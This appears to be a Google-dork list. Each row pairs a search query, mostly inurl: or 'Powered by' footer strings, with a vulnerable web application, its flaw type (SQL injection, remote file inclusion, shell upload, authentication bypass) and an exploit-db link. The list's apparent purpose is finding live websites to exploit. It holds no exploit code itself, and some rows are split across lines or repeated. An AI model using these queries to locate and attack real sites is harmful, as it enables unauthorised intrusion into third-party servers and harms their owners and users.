intext:"Powered by eDocStore"	intext:"Powered by eDocStore"	eDocStore (doc.php doc_id) Remote SQL Injection Vulnerability - CVE: 2007-3452: http://www.exploit-db.com/exploits/4108
Powered by AM4SS 1.0	Powered by AM4SS 1.0	Advneced Management For Services Sites (File Disclosure) Vulnerabilities: http://www.exploit-db.com/exploits/12859
"Powered by AlstraSoft SendIt Pro"	"Powered by AlstraSoft SendIt Pro"	AlstraSoft SendIt Pro Remote File Upload Vulnerability - CVE: 2008-6932: http://www.exploit-db.com/exploits/7101
inurl:com_content	inurl:com_content	Joomla Component com_content 1.0.0 (ItemID) SQL Injection Vuln - CVE: 2008-6923: http://www.exploit-db.com/exploits/6025
inurl:"noticias.php?notiId="	inurl:"noticias.php?notiId="	Ele Medios CMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10418
inurl:"index.php?option=com_huruhelpdesk"	inurl:"index.php?option=com_huruhelpdesk"	Joomla Component (com_huruhelpdesk) SQL Injection Vulnerability - CVE: 2010-2907: http://www.exploit-db.com/exploits/14449
Powered by Article Directory	Powered by Article Directory	Authenication Bypass Vulnerability in Articles Directory: http://www.exploit-db.com/exploits/12445
"Copyright 2005 Affiliate Directory"	"Copyright 2005 Affiliate Directory"	SFS Affiliate Directory (id) SQL Injection Vulnerability - CVE: 2008-3719: http://www.exploit-db.com/exploits/6270
inurl:"index.php?option=com_bookjoomlas"	inurl:"index.php?option=com_bookjoomlas"	Joomla Component com_bookjoomlas 0.1 SQL Injection Vulnerability - CVE: 2009-1263: http://www.exploit-db.com/exploits/8353
DevMass Shopping Cart	DevMass Shopping Cart	DevMass Shopping Cart 1.0 Remote File Include Vulnerability - CVE: 2007-6133: http://www.exploit-db.com/exploits/4642
inurl:index.php?option=com_allhotels	inurl:index.php?option=com_allhotels	Joomla Component com_allhotels (id) Blind SQL Injection Vulnerability - CVE: 2008-5874: http://www.exploit-db.com/exploits/7568

"powered by aflog"	"powered by aflog"	aflog 1.01 Multiple Insecure Cookie Handling Vulnerabilies - CVE: 2008-4784: http://www.exploit-db.com/exploits/6818
inurl:"index.php?option=com_simplefaq"	inurl:"index.php?option=com_simplefaq"	Mambo Component SimpleFAQ 2.11 Remote SQL Injection Vulnerability - CVE: 2007-4456: http://www.exploit-db.com/exploits/4296
inurl:couponsite/index.php?page=	inurl:couponsite/index.php?page=	Coupon Script 4.0 (id) Remote SQL Injection Vulnerability - CVE: 2008-4090: http://www.exploit-db.com/exploits/6348
inurl:"directory.php?ax=list" gaming	inurl:"directory.php?ax=list" gaming	Gaming Directory 1.0 (cat_id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5374
"script by RECIPE SCRIPT"	"script by RECIPE SCRIPT"	The Recipe Script 5 Remote XSS Vulnerability: http://www.exploit-db.com/exploits/8967
inurl:"index.php?option=com_jobline"	inurl:"index.php?option=com_jobline"	Joomla Component Jobline 1.3.1 Blind SQL Injection Vulnerability - CVE: 2009-2554: http://www.exploit-db.com/exploits/9187
Dosya Yukle Scrtipi v1.0	Dosya Yukle Scrtipi v1.0	Dosya Yukle Scrtipi v1.0 Shell Upload Vulnerability: http://www.exploit-db.com/exploits/11620
allinurl: modules-php-op-modload "req view_cat"	allinurl: modules-php-op-modload "req view_cat"	PHP-Nuke Module books SQL (cid) Remote SQL Injection Vulnerability - CVE: 2008-0827: http://www.exploit-db.com/exploits/5147
"Powered by Absolute File Send"	"Powered by Absolute File Send"	Absolute File Send 1.0 Remote Cookie Handling Vulnerability: http://www.exploit-db.com/exploits/6881
inurl:wapmain.php?option=	inurl:wapmain.php?option=	Joomla Component Wap4Joomla (wapmain.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12440
allinurl:"com_na_content"	allinurl:"com_na_content"	Mambo Component Sermon 0.2 (gid) SQL Injection Vulnerability - CVE: 2008-0721: http://www.exploit-db.com/exploits/5076

inurl:"com_jcalpro"	inurl:"com_jcalpro"	Joomla Component com_jcalpro 1.5.3.6 Remote File Inclusion - CVE: 2009-4431: http://www.exploit-db.com/exploits/10587
Powered by Webiz	Powered by Webiz	(Webiz) local SHELL Upload Vulnerability: http://www.exploit-db.com/exploits/12797
inurl:category.php?cate_id=	inurl:category.php?cate_id=	GC Auction Platinum (cate_id) Remote SQL Injection Vulnerability - CVE: 2008-3413: http://www.exploit-db.com/exploits/6144
CaLogic Calendars V1.2.2	CaLogic Calendars V1.2.2	CaLogic Calendars 1.2.2 (CLPath) Remote File Include Vulnerabilities - CVE: 2006-2570: http://www.exploit-db.com/exploits/1809
Copyright 2008 Free Image & File Hosting	Copyright 2008 Free Image & File Hosting	Free Image & File Hosting Upload Vulnerability: http://www.exploit-db.com/exploits/12105
"Powered by Rock Band CMS 0.10"	"Powered by Rock Band CMS 0.10"	BandCMS 0.10 news.php Multiple SQL Injection Vulnerabilities - CVE: 2009-3252: http://www.exploit-db.com/exploits/9553
Copyright Acme 2008	Copyright Acme 2008	AJ HYIP ACME (news.php id) Remote SQL Injection Vulnerability - CVE: 2008-2893: http://www.exploit-db.com/exploits/5890
"Send amazing greetings to your friends and relative!"	"Send amazing greetings to your friends and relative!"	Greeting card SQL Injection Vulnerability: http://www.exploit-db.com/exploits/13983
"Creative Guestbook"	"Creative Guestbook"	Creative Guestbook 1.0 Multiple Remote Vulnerabilities - CVE: 2007-1479: http://www.exploit-db.com/exploits/3489
"DeeEmm CMS"	"DeeEmm CMS"	DeeEmm CMS (DMCMS) 0.7.4 Multiple Remote Vulnerabilities - CVE: 2008-3721: http://www.exploit-db.com/exploits/6250
powered by vBulletin 4.0.4	powered by vBulletin 4.0.4	VBbuletin 4.0.4 Multiple Vulnerabilities: http://www.exploit-db.com/exploits/14686
"Vivid Ads	"Vivid Ads Shopping Cart"	Vivid Ads Shopping Cart (prodid)

Shopping Cart"		Remote SQL Injection: http://www.exploit-db.com/exploits/10297
inurl:"/rbfminc/"	inurl:"/rbfminc/"	RogioBiz_PHP_file_manager_V1.2 bypass admin: http://www.exploit-db.com/exploits/11731
intext:Powered by AWCM v2.1	intext:Powered by AWCM v2.1	AWCM 2.1 Local File Inclusion / Auth Bypass Vulnerabilities - CVE: 2009-3219: http://www.exploit-db.com/exploits/9237
inurl:"lista_articulos.php?id_categoria="	inurl:"lista_articulos.php?id_categoria="	SitioOnline SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10453
"Powered By AlstraSoft AskMe Pro"	"Powered By AlstraSoft AskMe Pro"	AlstraSoft AskMe Pro 2.1 Multiple SQL Injection Vulnerabilities - CVE: 2008-2902: http://www.exploit-db.com/exploits/5821
allinurl:"com_neogallery"	allinurl:"com_neogallery"	Joomla Component NeoGallery 1.1 SQL Injection Vulnerability - CVE: 2008-0752: http://www.exploit-db.com/exploits/5083
inurl:"com_category"	inurl:"com_category"	Joomla Component com_category (catid) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/9126
"Powered By Zoopeer"	"Powered By Zoopeer"	Zoopeer 0.1 & 0.2 (fckeditor) Shell Upload Vulnerability: http://www.exploit-db.com/exploits/15354
inurl:index.php?ortupg=	inurl:index.php?ortupg=	CMS Ortus 1.13 Remote SQL Injection Vulnerability - CVE: 2008-6282: http://www.exploit-db.com/exploits/7237
inurl:com_jomtube	inurl:com_jomtube	Joomla Component com_jomtube (user_id) Blind SQL Injection / SQL Injection: http://www.exploit-db.com/exploits/14434
"Powered by web directory script"	"Powered by web directory script"	Web Directory Script 1.5.3 (site) SQL Injection Vulnerability - CVE: 2008-4091: http://www.exploit-db.com/exploits/6335
inurl:com_gigcal	inurl:com_gigcal	Joomla Component com_gigcal

		(gigcal_gigs_id) SQL Injection Vuln - CVE: 2009-0726: http://www.exploit-db.com/exploits/7746
Powered MarketSaz	Powered MarketSaz	MarketSaz remote file Upload Vulnerability: http://www.exploit-db.com/exploits/13927
"PHPWebAdmin for hMailServer" intitle:PHPWebAdmin - site:hmailserver.com	"PHPWebAdmin for hMailServer" intitle:PHPWebAdmin - site:hmailserver.com	hMAilServer 4.4.2 (PHPWebAdmin) File Inclusion Vulnerabilities: http://www.exploit-db.com/exploits/7012
inurl:com_ezautos	inurl:com_ezautos	Joomla Component (com_ezautos) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/15085
"Designed & Developed by Zeeways.com"	"Designed & Developed by Zeeways.com"	zeeproperty 1.0 (Upload/XSS) Multiple Remote Vulnerabilities - CVE: 2008-6915: http://www.exploit-db.com/exploits/7058
inurl:option=com_education_classes	inurl:option=com_education_classes	joomla component education SQL injection Vulnerability: http://www.exploit-db.com/exploits/12153
allinurl:"lyrics_menu/lyrics_song.php?l_id="	allinurl:"lyrics_menu/lyrics_song.php?l_id="	e107 Plugin lyrics_menu (lyrics_song.php l_id) SQL Injection Vulnerability - CVE: 2008-4906: http://www.exploit-db.com/exploits/6885
infusions/recept/recept.php?	infusions/recept/recept.php?	PHP-Fusion Mod recept (kat_id) SQL Injection Vulnerability - CVE: 2008-4527: http://www.exploit-db.com/exploits/6683
Copyright 2010 My Hosting. All rights reserved	Copyright 2010 My Hosting. All rights reserved	Hosting-php-dynamic (Auth Bypass) Vulnerability: http://www.exploit-db.com/exploits/11968
"Powered By diskos"	"Powered By diskos"	Diskos CMS Manager (SQL/DB/Auth Bypass) Multiple Vulnerabilities - CVE: 2009-4798: http://www.exploit-db.com/exploits/8307
Powered by PHP Image Gallery	Powered by PHP Image Gallery	SoftComplex PHP Image Gallery 1.0 (Auth Bypass) SQL Injection Vuln - CVE: 2008-6488: http://www.exploit-

		db.com/exploits/7021
Powered By Pligg | Legal: License and Source	Powered By Pligg | Legal: License and Source	Pligg CMS 9.9.0 (story.php id) Remote SQL Injection Vulnerability - CVE: 2008-3366: http://www.exploit-db.com/exploits/6146
inurl:/_blogadata/	inurl:/_blogadata/	Blogator-script 0.95 Change User Password Vulnerability - CVE: 2008-6473: http://www.exploit-db.com/exploits/5370
"index.php?option=com_chronocontact" / "com_chronocontact"	"index.php?option=com_chronocontact" / "com_chronocontact"	Joomla Component ChronoForms (com_chronocontact): http://www.exploit-db.com/exploits/12843
inurl:"com_a6mambocredits"	inurl:"com_a6mambocredits"	Mambo a6mambocredits Component 1.0.0 File Include Vulnerability - CVE: 2006-4288: http://www.exploit-db.com/exploits/2207
"index.php?id_menu=" CMScontrol	"index.php?id_menu=" CMScontrol	CMScontrol (Content Management Portal Solutions) Sql Injection - CVE: 2009-3326: http://www.exploit-db.com/exploits/9727
inurl:"com_eventcal"	inurl:"com_eventcal"	Joomla eventcal Component 1.6.4 com_eventcal Blind SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14187
"and Powered By :Sansak"	"and Powered By :Sansak"	WebBoard 2.0 Arbitrary SQL Question/Anwser Delete Vulnerability: http://www.exploit-db.com/exploits/6303
inurl:profile.php?mode=	inurl:profile.php?mode=	PHPBB MOD [2.0.19] Invitation Only (PassCode Bypass vulnerability): http://www.exploit-db.com/exploits/14440
Powered By SalSa Creations	Powered By SalSa Creations	ClipShare Pro 2006-2007 (chid) SQL Injection Vulnerability - CVE: 2008-5489: http://www.exploit-db.com/exploits/7128
inurl:modules.php?op= "pollID"	inurl:modules.php?op= "pollID"	MD-Pro 1.083.x Survey Module (pollID) Blind SQL Injection Vulnerability - CVE: 2009-2618: http://www.exploit-db.com/exploits/9021

"Powered by SazCart"	"Powered by SazCart"	SazCart 1.5.1 (prodid) Remote SQL Injection - CVE: 2008-2411: http://www.exploit-db.com/exploits/5576
intext:"Powered by Max.Blog"	intext:"Powered by Max.Blog"	Max.Blog 1.0.6 (offline_auth.php) Offline Authentication Bypass - CVE: 2009-0409: http://www.exploit-db.com/exploits/7899
"Powered by CMSimple"	"Powered by CMSimple"	CMSimple 3.1 Local File Inclusion / Arbitrary File Upload - CVE: 2008-2650: http://www.exploit-db.com/exploits/5700
inurl:"com_performs"	inurl:"com_performs"	perForms Mambo Component 1.0 Remote File Inclusion - CVE: 2006-3774: http://www.exploit-db.com/exploits/2025
inurl:"com_mambowiki"	inurl:"com_mambowiki"	Mambo MamboWiki Component 0.9.6 Remote Include Vulnerability - CVE: 2006-4282: http://www.exploit-db.com/exploits/2213
index.asp?archivio=OK	index.asp?archivio=OK	Ublog access version Arbitrary Database Disclosure: http://www.exploit-db.com/exploits/8610
album.asp?pic= .jpg cat=	album.asp?pic= .jpg cat=	aspWebAlbum 3.2 Multiple Remote Vulnerabilities - CVE: 2008-6977: http://www.exploit-db.com/exploits/6420
"Multi-Page Comment System"	"Multi-Page Comment System"	Multi-Page Comment System 1.1.0 Insecure Cookie Handling Vulnerability - CVE: 2008-2293: http://www.exploit-db.com/exploits/5630
inurl:"com_wmtpic"	inurl:"com_wmtpic"	Joomla Component com_wmtpic 1.0 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14128
inurl:index.php?mode=game_player	inurl:index.php?mode=game_player	Tycoon CMS Record Script SQL Injection Vulnerability - CVE: 2010-3027: http://www.exploit-db.com/exploits/14572
"pages.php?page_ID=" "K9	"pages.php?page_ID=" "K9 Kreativity"	K9 Kreativity Design (pages.php) SQL Injection Vulnerability:

Kreativity"		http://www.exploit-db.com/exploits/12866
album.asp?pic= .jpg cat=	album.asp?pic= .jpg cat=	aspWebAlbum 3.2 (Upload/SQL/XSS) Multiple Remote Vulnerabilities - CVE: 2008-6977: http://www.exploit-db.com/exploits/6357
inurl:"option=com_simpleshop" & inurl:"viewprod"	inurl:"option=com_simpleshop" & inurl:"viewprod"	Joomla SimpleShop Component (com_simpleshop) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14501
intext:"Powered by Community CMS"	intext:"Powered by Community CMS"	Community CMS 0.5 Multiple SQL Injection Vulnerabilities - CVE: 2009-4794: http://www.exploit-db.com/exploits/8323
"Powered by Scallywag"	"Powered by Scallywag"	Scallywag (template.php path) Remote File Inclusion Vulnerabilities - CVE: 2007-2900: http://www.exploit-db.com/exploits/3972
inurl:"phshoutbox.php"	inurl:"phshoutbox.php"	PhShoutBox 1.5 (final) Insecure Cookie Handling Vulnerability - CVE: 2008-1971: http://www.exploit-db.com/exploits/5467
"index.php?option=com_seyret" / "com_seyret"	"index.php?option=com_seyret" / "com_seyret"	Joomla Component Seyret (com_seyret) - Local File Inclusion Vulnerability: http://www.exploit-db.com/exploits/14183
inurl:inc_memberdirectorymanager.asp	inurl:inc_memberdirectorymanager.asp	DMXReady Member Directory Manager 1.1 SQL Injection Vulnerability - CVE: 2009-0427: http://www.exploit-db.com/exploits/7773
inurl:"mod=notizie"	inurl:"mod=notizie"	XCMS 1.83 Remote Command Execution - CVE: 2007-6652: http://www.exploit-db.com/exploits/4813
"Powered By ScozNews"	"Powered By ScozNews"	ScozNews 1.2.1 (mainpath) Remote File Inclusion Vulnerability - CVE: 2006-2487: http://www.exploit-db.com/exploits/1800
"PHP BP Team"	"PHP BP Team"	phpBP RC3 (2.204) FIX4 Remote SQL Injection Vulnerability - CVE: 2008-1408: http://www.exploit-db.com/exploits/5263

inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"	inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"	PhpWebGallery 1.3.4 (XSS/LFI) Multiple Vulnerabilities - CVE: 2008-4591: http://www.exploit-db.com/exploits/6425
inurl:"zcat.php?id="	inurl:"zcat.php?id="	IRAN N.E.T E-commerce Group SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10350
inurl:K-Search, Powered By K-Search	inurl:K-Search, Powered By K-Search	K-Search (SQL/XSS) Multiple Remote Vulnerabilities - CVE: 2010-2457: http://www.exploit-db.com/exploits/13993
"index.php?option=com_chronoconnectivity" / "com_chronoconnectivity"	"index.php?option=com_chronoconnectivity" / "com_chronoconnectivity	Joomla Component ChronoConnectivity: http://www.exploit-db.com/exploits/12842
Powered by cP Creator v2.7.1	Powered by cP Creator v2.7.1	cP Creator v2.7.1 Remote Sql Injection - CVE: 2009-3330: http://www.exploit-db.com/exploits/9726
inurl:"com_mscomment"	inurl:"com_mscomment"	Joomla Component MS Comment LFI Vulnerability - CVE: 2010-2050: http://www.exploit-db.com/exploits/12611
Powered by Mitra Informatika Solusindo	Powered by Mitra Informatika Solusindo	Mitra Informatika Solusindo cart Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5214
"Powered by bSpeak 1.10"	"Powered by bSpeak 1.10"	bSpeak 1.10 (forumid) Remote Blind SQL Injection Vulnerability - CVE: 2009-1747: http://www.exploit-db.com/exploits/8751
Powered by osCommerce	Powered by osCommerce	osCommerce Online Merchant 2.2 RC2a Code Execution: http://www.exploit-db.com/exploits/9556
inurl:choosecard.php?catid=	inurl:choosecard.php?catid=	post Card (catid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11892
inurl:"com_jphoto"	inurl:"com_jphoto"	Joomla Component com_jphoto SQL Injection Vulnerability - (id) - CVE: 2009-4598: http://www.exploit-

		db.com/exploits/10367
allinurl: e107_plugins/easyshop/easyshop.php	allinurl: e107_plugins/easyshop/easyshop.php	e107 Plugin EasyShop (category_id) Blind SQL Injection - CVE: 2008-4786: http://www.exploit-db.com/exploits/6852
inurl:"com_koesubmit"	inurl:"com_koesubmit"	Mambo com_koesubmit 1.0.0 Remote File Inclusion - CVE: 2009-3333: http://www.exploit-db.com/exploits/9714
Powered by PHP Advanced Transfer Manager v1.10 - @2002 Bugada Andrea	Powered by PHP Advanced Transfer Manager v1.10 - @2002 Bugada Andrea	PHP Advanced Transfer Manager v1.10 Shell Upload Vulnerability: http://www.exploit-db.com/exploits/11613
inurl:add_soft.php	inurl:add_soft.php	Hotscripts Clone (cid) Remote SQL Injection Vulnerability - CVE: 2008-6405: http://www.exploit-db.com/exploits/6545
"Powered by Absolute Podcast"	"Powered by Absolute Podcast"	Absolute Podcast 1.0 Remote Insecure Cookie Handling Vulnerability - CVE: 2008-6857: http://www.exploit-db.com/exploits/6882
Powered by iScripts EasyBiller	Powered by iScripts EasyBiller	iScripts easybiller v1.1 sqli vulnerability: http://www.exploit-db.com/exploits/13741
"Copyright-2008@zeejobsite.com"	"Copyright-2008@zeejobsite.com"	ZEEJOBSITE 2.0 Remote File Upload Vulnerability - CVE: 2008-6913: http://www.exploit-db.com/exploits/7062
"Powered By phpCOIN v1.2.1" / "mod.php?mod=faq"	"Powered By phpCOIN v1.2.1" / "mod.php?mod=faq"	phpCOIN 1.2.1 (mod.php) LFI Vulnerability - CVE: 2010-0953: http://www.exploit-db.com/exploits/11641
inurl:"index.php?option=com_jp_jobs"	inurl:"index.php?option=com_jp_jobs"	Joomla component jp_jobs SQL Injection Vulnerability - CVE: 2010-1350: http://www.exploit-db.com/exploits/12037
allinurl: Category.php?IndustrYID=	http://www.google.com/search?source=ig&hl=fr&rlz=&q=allinurl:+Category.php%3FIndustrYID%3D	CmS (id) SQL Injection Vulnerability - CVE: 2009-2439: http://www.exploit-db.com/exploits/12333
index2.php?option=com_joomlaboar	index2.php?option=com_joomlaboard	Joomla Component Joomlaboard 1.1.1 (sbp) RFI Vulnerability:

d		http://www.exploit-db.com/exploits/3560
intext:"Powered By WorldPay" inurl:productdetail.php	intext:"Powered By WorldPay" inurl:productdetail.php	WorldPay Script Shop (productdetail) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10976
inurl:"cameralife/index.php"	inurl:"cameralife/index.php"	Camera Life 2.6.2b4 (SQL/XSS) Multiple Remote Vulnerabilities - CVE: 2008-6087: http://www.exploit-db.com/exploits/6710
inurl:option=com_huruhelpdesk	inurl:option=com_huruhelpdesk	joomla component allvideos BLIND SQL injection Vulnerability: http://www.exploit-db.com/exploits/12137
inurl:inc_membersareamanager.asp	inurl:inc_membersareamanager.asp	DMXReady Members Area Manager 1.2 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/7774
"Tanyakan Pada Rumput Yang Bergoyang"	"Tanyakan Pada Rumput Yang Bergoyang"	Moa Gallery 1.2.0 Multiple Remote File Inclusion Vulnerabilities - CVE: 2009-4614: http://www.exploit-db.com/exploits/9522
inurl:/component/jesectionfinder/	inurl:/component/jesectionfinder/	Joomla Component JE Section Finder LFI Vulnerability - CVE: 2010-2680: http://www.exploit-db.com/exploits/14064
intitle:phpMyAdmin	intitle:phpMyAdmin	phpMyAdmin Code Injection RCE - CVE: 2009-1151: http://www.exploit-db.com/exploits/8992
inurl:"com_phocagallery"	inurl:"com_phocagallery"	Joomla Phoca Gallery Component (com_phocagallery) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14207
inurl:"member.php?page=comments"	inurl:"member.php?page=comments"	6ALBlog (newsid) Remote SQL Injection Vulnerability - CVE: 2007-3451: http://www.exploit-db.com/exploits/4104
"webboard question.asp QID"	"webboard question.asp QID"	PORAR WEBBOARD (question.asp) Remote SQL Injection Vulnerability - CVE: 2008-1039: http://www.exploit-db.com/exploits/5185
inurl:"index.php?o	inurl:"index.php?option=com_pony	Joomla Component Pony Gallery 1.5

ption=com_ponygallery"	gallery"	SQL Injection Vulnerability - CVE: 2007-4046: http://www.exploit-db.com/exploits/4201
inurl:"com_dbquery" OR "index.php?option=com_dbquery"	inurl:"com_dbquery" OR "index.php?option=com_dbquery"	Joomla Component DBQuery 1.4.1.1 RFI Vulnerability - CVE: 2008-6841: http://www.exploit-db.com/exploits/6003/
"PowerMovieList 0.14 Beta Copyright"	"PowerMovieList 0.14 Beta Copyright"	PowerMovieList 0.14b (SQL/XSS) Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/8062
"powered by MODx"	"powered by MODx"	MODx CMS 0.9.2.1 (FCKeditor) Remote File Include Vulnerability - CVE: 2006-5730: http://www.exploit-db.com/exploits/2706/
"Powered by words tag script"	"Powered by words tag script"	Words tag script 1.2 (word) Remote SQL Injection Vulnerability - CVE: 2008-3945: http://www.exploit-db.com/exploits/6336
"Powered by osCMax v2.0" , "Copyright @" "RahnemaCo.com"	"Powered by osCMax v2.0" , "Copyright @" "RahnemaCo.com"	osCMax 2.0 (fckeditor) Remote File Upload: http://www.exploit-db.com/exploits/11771
FrontAccounting	FrontAccounting	FrontAccounting 1.12 Build 31 Remote File Inclusion Vulnerability - CVE: 2007-4279: http://www.exploit-db.com/exploits/4269
Powered by Egorix	Powered by Egorix	EPOLL SYSTEM 3.1 (password.dat) Disclosure: http://www.exploit-db.com/exploits/7864
intext:"Free Ecommerce Shopping Cart Software by ViArt" +"Your shopping cart is empty!" + "Products Search" +"Advanced Search" + "All Categories"	intext:"Free Ecommerce Shopping Cart Software by ViArt" +"Your shopping cart is empty!" + "Products Search" +"Advanced Search" + "All Categories"	ViArt Shopping Cart 3.5 Multiple Remote Vulnerabilities - CVE: 2008-6758: http://www.exploit-db.com/exploits/7628
"powered by	"powered by WonderEdit Pro"	WonderEdit Pro CMS (template_path)

WonderEdit Pro"		Remote File Include Vulnerabilities - CVE: 2006-3422: http://www.exploit-db.com/exploits/1982
inurl:"kgb19"	inurl:"kgb19"	KGB 1.9 (sesskglogadmin.php) Local File Include - CVE: 2007-0337: http://www.exploit-db.com/exploits/3134
allinurl:buyer/index.php?ProductID=	allinurl:buyer/index.php?ProductID=	Alibaba Clone Platinum (buyer/index.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12609
"powered by Sitellite"	"powered by Sitellite"	Sitellite CMS 4.2.12 (559668.php) Remote File Inclusion Vulnerability - CVE: 2007-3228: http://www.exploit-db.com/exploits/4071
"Powered by Comdev News Publisher"	"Powered by Comdev News Publisher"	Comdev News Publisher Remote SQL Injection Vulnerability - CVE: 2008-1872: http://www.exploit-db.com/exploits/5362
Powered By: AJ Square Inc	Powered By: AJ Square Inc	AJ Article Persistent XSS Vulnerability - CVE: 2010-2917: http://www.exploit-db.com/exploits/14354
"index.php?option=com_sef" / "com_sef"	"index.php?option=com_sef" / "com_sef"	Joomla Component Sef (com_sef) - LFI Vulnerability: http://www.exploit-db.com/exploits/14213
inurl:option=com_huruhelpdesk	inurl:option=com_huruhelpdesk	joomla component huruhelpdesk SQL injection Vulnerability: http://www.exploit-db.com/exploits/12124
inurl:inc_securedocumentlibrary.asp	inurl:inc_securedocumentlibrary.asp	DMXReady Secure Document Library 1.1 Remote SQL Injection Vuln - CVE: 2009-0428: http://www.exploit-db.com/exploits/7787
Powered by Dolphin	Powered by Dolphin	Dolphin v7.0.3 Multiple Vulnerabilities: http://www.exploit-db.com/exploits/15400
inurl:"php/showContent.php?linkid="	inurl:"php/showContent.php?linkid="	Worldviewer.com CMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12163
sitou timou tumou tou	sitou timou tumou tou	Drunken:Golem Gaming Portal (admin_news_bot.php) RFI

		Vulnerability - CVE: 2009-4622: http://www.exploit-db.com/exploits/9635
inurl:.asp? Powered by Comersus ASP Shopping Cart	inurl:.asp? Powered by Comersus ASP Shopping Cart	Comersus ASP Shopping Cart (DD/XSS) Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/7259
inurl:index.php?option=com_lowcosthotels	inurl:index.php?option=com_lowcosthotels	Joomla Component com_lowcosthotels (id) Blind SQL Injection Vuln - CVE: 2008-5864: http://www.exploit-db.com/exploits/7567
Vibro-School CMS by nicLOR.net	Vibro-School CMS by nicLOR.net	Vibro-School-CMS (nID) Remote SQL injection Vulnerability - CVE: 2008-6795: http://www.exploit-db.com/exploits/6981
"Absolute Poll Manager XE"	"Absolute Poll Manager XE"	Absolute Poll Manager XE 4.1 Cookie Handling Vulnerability - CVE: 2008-6860: http://www.exploit-db.com/exploits/6883
Copyright 2010. Software Index	Copyright 2010. Software Index	PishBini Footbal XSS and SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14000
inurl:"com_linkdirectory"	inurl:"com_linkdirectory"	Joomla Link Directory Component 1.0.3 Remote Include Vulnerability: http://www.exploit-db.com/exploits/2214
inurl:com_manager	inurl:com_manager	Joomla Component com_manager 1.5.3 (id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12257
"Developed by Infoware Solutions"	"Developed by Infoware Solutions"	My PHP Dating (success_story.php id) SQL Injection Vulnerability - CVE: 2008-4705: http://www.exploit-db.com/exploits/6754
"Powered by: Yes Solutions"	"Powered by: Yes Solutions"	Yes Solutions - Webapp SQL Injection: http://www.exploit-db.com/exploits/11368
allinurl:"verliadmin"	allinurl:"verliadmin"	VerliAdmin 0.3 (index.php) Remote File Include - CVE: 2006-6666: http://www.exploit-db.com/exploits/2944

"Powered by UNAK-CMS"	"Powered by UNAK-CMS"	UNAK-CMS 1.5 (dirroot) Remote File Include Vulnerabilities - CVE: 2006-4890: http://www.exploit-db.com/exploits/2380
inurl:"com_quickfaq"	inurl:"com_quickfaq"	Joomla QuickFAQ Component (com_quickfaq) Blind SQL Injection Vulnerability - CVE: 2010-2845: http://www.exploit-db.com/exploits/14296
"Powered by EZCMS"	"Powered by EZCMS"	EZCMS 1.2 (bSQL/Admin Byapss) Multiple Remote Vulnerabilities - CVE: 2008-2921: http://www.exploit-db.com/exploits/5819
inurl:index.php?menu=adorder	inurl:index.php?menu=adorder	ACG-PTP 1.0.6 (adid) Remote SQL Injection Vulnerability - CVE: 2008-3944: http://www.exploit-db.com/exploits/6362
allinurl:"com_accombo"	allinurl:"com_accombo"	Mambo Component accombo 1.x (id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5279
"Powered by Scratcher"	"Powered by Scratcher"	Scratcher (SQL/XSS) Multiple Remote Vulnerability - CVE: 2010-1742: http://www.exploit-db.com/exploits/12458
inurl:/components/je-media-player.html?	inurl:/components/je-media-player.html?	Joomla JE Media Player Component LFI Vulnerability: http://www.exploit-db.com/exploits/14060
"Powered by How2asp"	"Powered by How2asp"	How2ASP.net Webboard 4.1 Remote SQL Injection Vulnerability - CVE: 2008-2417: http://www.exploit-db.com/exploits/5638
"Powered by PHPBasket"	"Powered by PHPBasket"	PHPBasket (product.php pro_id) SQL Injection Vulnerability - CVE: 2008-3713: http://www.exploit-db.com/exploits/6258
inurl:module=My_eGallery pid	inurl:module=My_eGallery pid	MDPro Module My_eGallery (pid) Remote SQL Injection - CVE: 2009-0728: http://www.exploit-db.com/exploits/8100
"Powered by Dayfox Designs"	"Powered by Dayfox Designs"	Dayfox Blog 4 (postpost.php) Remote Code Execution Vulnerability - CVE: 2007-1525: http://www.exploit-

		db.com/exploits/3478
Website powered by Subdreamer CMS & Sequel Theme Designed by indiqo.media	Website powered by Subdreamer CMS & Sequel Theme Designed by indiqo.media	Subdreamer.v3.0.1 cms upload Vulnerability: http://www.exploit-db.com/exploits/11749
"These forums are running on" "miniBB"	"These forums are running on" "miniBB"	miniBB 2.1 (table) Remote SQL Injection Vulnerability - CVE: 2007-5719: http://www.exploit-db.com/exploits/4587
"PHPNews Version 0.93"	"PHPNews Version 0.93"	PHPNews 0.93 (format_menue) Remote File Inclusion Vulnerability - CVE: 2007-4232: http://www.exploit-db.com/exploits/4268
"/nuke/iframe.php"	"/nuke/iframe.php"	iFrame for Phpnuke (iframe.php) Remote File Inclusion Vulnerability - CVE: 2007-1626: http://www.exploit-db.com/exploits/3512
Sad Raven's Click Counter v1.0	Sad Raven's Click Counter v1.0	Sad Raven's Click Counter 1.0 passwd.dat Disclosure: http://www.exploit-db.com/exploits/7844
Powered by dB Masters' Curium CMS 1	Powered by dB Masters' Curium CMS 1	dB Masters Curium CMS 1.03 (c_id) Remote SQL Injection Vulnerability - CVE: 2007-0765: http://www.exploit-db.com/exploits/3256
Powered by XT-Commerce	Powered by XT-Commerce	XT-Commerce v1 Beta 1 by Pass / Creat and Download Backup Vulnerability: http://www.exploit-db.com/exploits/12447
intext:"Powered by Ramaas Software"	intext:"Powered by Ramaas Software"	Ramaas Software CMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12412
